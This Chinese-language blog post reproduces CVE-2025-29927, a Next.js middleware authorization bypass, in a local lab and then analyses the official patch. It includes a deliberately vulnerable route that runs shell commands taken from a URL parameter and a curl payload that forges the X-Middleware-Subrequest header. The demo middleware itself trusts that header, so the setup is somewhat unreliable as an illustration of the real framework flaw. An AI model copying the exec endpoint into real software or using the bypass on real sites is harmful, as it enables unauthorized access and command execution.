CVE-2025-29927 漏洞複現

Mike Lv99

目錄

目錄
  1. 結論
  2. 漏洞簡介
  3. 漏洞原理和利用方法
  4. 漏洞復現步驟
    4.1 下載 Node.js
    4.2 建立漏洞專案
    4.3 製作 middleware.js 腳本
    4.4 建立 run.js
    4.5 啟動 server 並執行 payload
  5. patch ( Workaround )

結論

Next.js 在 v11~v15.2.2 中對 x-middleware-subrequest header 採取信任策略,
然而缺乏來源驗證,導致攻擊者可偽造該 header 來繞過授權邏輯,構成嚴重的權限繞過漏洞(CVE-2025-29927)。
自 v15.2.3 起,官方改為建立唯一的 middleware session ID,並比對該 ID 來判斷是否為內部請求,有效解決此問題。

漏洞簡介

  • 漏洞編號:CVE-2025-29927
  • 漏洞類型:授權繞過
  • 影響範圍:Next.js v11.1.4 ~ v15.2.2(含)
  • CVSS 3.X 分數:9.1(Critical)
Exploitability Metric Impact Metric
AV : Network S : Unchanged
AC : Low C : High
PR : None I : High
UI : None A : None
  • 描述
    當 Next.js 使用 Middleware 處理授權邏輯時,攻擊者可通過特殊標頭 X-Middleware-Subrequest 繞過中介軟體的授權邏輯,進而未經授權訪問受保護的頁面。

  • 發現者: 由資安公司 Akamai 的研究人員所發現。

  • 回報時間:

    於2025 年 3 月 14 日 首度通報給 Next.js 官方開發團隊。該團隊隨後在 2025 年 4 月 10 日釋出修補版本,並於 2025 年 4 月 16 日公告此漏洞細節與 CVE 編號。

漏洞原理和利用方法

Next.js 使用內部特殊標頭 x-middleware-subrequest 來識別內部請求,如 React Server Components(RSC)或 App Router 中的子請求。若攻擊者在外部請求中加入此標頭,Next.js 錯誤地認定其為內部請求,跳過了 middleware 的驗證邏輯。
攻擊鏈流程圖

而會發生此漏洞的最根本原因是Next.js在處理子請求中間件機制的設計缺陷:

  1. 內部子請求識別方式:當中間件需要向內部路由發送請求(如抓取資料或執行驗證)時,Next.js 會自動加入 x-middleware-subrequest 標頭,用來標示這是內部請求,以避免中間件重複執行造成無限循環。

  2. 缺乏來源驗證:漏洞的關鍵在於 Next.js 並未對這個標頭的來源進行嚴格驗證。這導致外部請求如果攜帶這個標頭,也會被誤認為是內部子請求。

  3. 中間件邏輯問題:只要 Next.js 偵測到請求中有 x-middleware-subrequest 標頭,就會略過對該請求的中間件處理,直接將其導向對應的路由或 API。

  4. 繞過授權檢查:攻擊者只需手動添加這個特殊的標頭,即可繞過原本由中間件執行的授權驗證,直接存取應該受保護的資源。

漏洞復現步驟

系統環境:

  • Windows 10
  • Node.js v22.14.0
  • Next.js v15.2.2

具體步驟:

  1. 下載 Node.js
  2. 建立漏洞專案
  3. 製作 middleware 腳本
  4. 設定 next.config.mjs
  5. 建立 run.js
  6. 啟動 server
  7. 傳送 payload 並 bypass 開啟 calc.exe

下載 Node.js

進入 Node.js 官網並下載Node.js(v22.14.0)
完成後可至cmd驗證是否成功

1
2
3
4
node -v
npx -v
npm -v
# 都有出現對應版本編號即可

node.js check

建立漏洞專案

建立專門針對「漏洞 PoC 的最小環境」(vuln_nextjs_calc)在桌面並展示專案目錄

1
2
cd C:\Users\testUser\Desktop
npx create-next-app@15.2.2 vuln_nextjs_calc

mini venv
proj struct

設定執行環境使用有漏洞的next.js@15.2.2

1
2
cd vuln_nextjs_calc
npm install next@15.2.2 react react-dom

show vuln

看到的Critical就是指我們這個 CVE-2025-29927 了,

  • next@15.2.2 -> 內含 CVE-2025-29927 漏洞
  • react、react-dom 為執行 js 必要 package

製作 middleware.js 腳本

建立 vuln_nextjs_calc/middleware.js,此程式用於在「請求到達頁面前」先做一些檢查,例如:

  • 是否已登入?
  • 是否有權限訪問某頁?
  • 是否來自內部來源?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import { NextResponse } from 'next/server'

export function middleware(request) {
const isInternal = request.headers.get('x-middleware-subrequest')
if (!isInternal) {
return new NextResponse('Unauthorized', { status: 401 })
}
return NextResponse.next()
}

export const config = {
matcher: ['/protected/:path*']
// 指定哪些路徑會被 middleware 攔截 (這裡是/protected/* 都會被攔截)
}

middleware code

簡單講解程式碼

如果有抓到 x-middleware-subrequest 則通行請求;否則拒絕授權請求。最後設定要經過protect的請求要先被中介層攔截。

為什麼是 x-middleware-subrequest

因為這個標頭是 Next.js 自己「內部」產生的,一般的用戶端並不會產生。

Next.js 在處理以下「內部子請求」時會自動才加上這個標頭,又因為這些請求其實是來自 Next.js 自己的核心模組,所以 Next.js 預設信任這個標頭,漏洞也因此產生。

那既然我們知道他會依有無這個Header進行判斷,那就在curl時加上這個Header即可bypass

1
curl http://localhost:3000/protected/run?cmd=calc -H "X-Middleware-Subrequest: 1"

為什麼是/protected?

  1. 更貼近「實務部署中的半公開資源」
  2. 在滲透測試中較易誘導開發者疏忽
  3. 可用性與示範性強

本次 PoC 將漏洞入口放置於 /protected/,模擬現實系統中將內部功能藏於「看似有授權但實際驗證不足」的路徑下。
相較於高敏感度 /admin/,此類路徑往往因為開發者認為「不容易猜中」而疏於設防,是授權繞過的熱門目標。

為什麼不選admin

因為一看就是敏感資源,通常防禦最嚴(多層保護、非公開、二次驗證、IP 限制)

建立 run.js

新建 run.jspages/protested/,模擬了真實系統中「僅供內部或管理員操作的命令執行功能」,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import { exec } from 'child_process'

export async function getServerSideProps({ query }) {
const cmd = query.cmd || 'calc'
exec(cmd, (err) => {
if (err) console.error("執行失敗:", err.message)
})

return { props: { cmd } }
}

export default function Run({ cmd }) {
return (
<div>
✅ 已執行指令:<b>{cmd}</b>
</div>
)
}

啟動 server 並執行payload

啟動 server

1
npm run dev

show server

執行payload

  1. 先下載curl – choco install curl
    isntall curl

  2. 執行 curl 加上 header

1
2
curl "http://localhost:3000/protected/run?cmd=calc" -H
"X-Middleware-Subrequest: 1"

get shell

整個攻擊就完成啦!!!

也可以更換payload

curl “http://localhost:3000/protected/run?cmd=notepad“ -H “X-Middleware-Subrequest: 1”
curl “http://localhost:3000/protected/run?cmd=mspaint“ -H “X-Middleware-Subrequest: 1”

patch ( Workaround )

問題本質 Recap

JS 錯誤地信任 header,導致攻擊者只要加上這個 header,就能繞過 middleware 的驗證

官方修復

根據 Next.js GitHub 官方提交紀錄:Update middleware request header (#77201)

官方在 commit 中將對 x-middleware-subrequest 的信任邏輯,改為使用 isInternalRequest() 進行判斷,從而防止外部請求偽造 header 繞過中介層驗證(CVE-2025-29927)。

統整更動

分析項目 原本的做法 導致的問題 修補後的做法
是否為內部請求 只要請求帶有標頭 x-middleware-subrequest 就視為「內部請求」 攻擊者可以用 curl 加上這個標頭就騙過 middleware,繞過授權 驗證該請求是否帶有 正確 session 的唯一 ID,才信任它是內部請求
判斷邏輯位置 沒有驗證來源,只靠單一 header 判斷 外部使用者可偽造 header,跳過中間件邏輯、執行敏感操作 在核心程式碼中加入 session 追蹤與 header 過濾,清除不合法的 header
繞過途徑 curl "http://host" **-H "X-Middleware-Subrequest: 1"** 沒有比對內部 request session 的 ID,任何人都可以成功繞過驗證! 必須同時帶有 Next.js 內部塞入的 x-middleware-subrequest-id 並且與 global session 一致,否則直接刪除 header

資料來源

  • Title: CVE-2025-29927 漏洞複現
  • Author: Mike
  • Created at : 2025-04-23 12:24:56
  • Updated at : 2025-04-30 12:30:39
  • Link: https://happymike0103.github.io/2025/04/23/CVE-2025-29927/
  • License: This work is licensed under CC BY-NC-SA 4.0.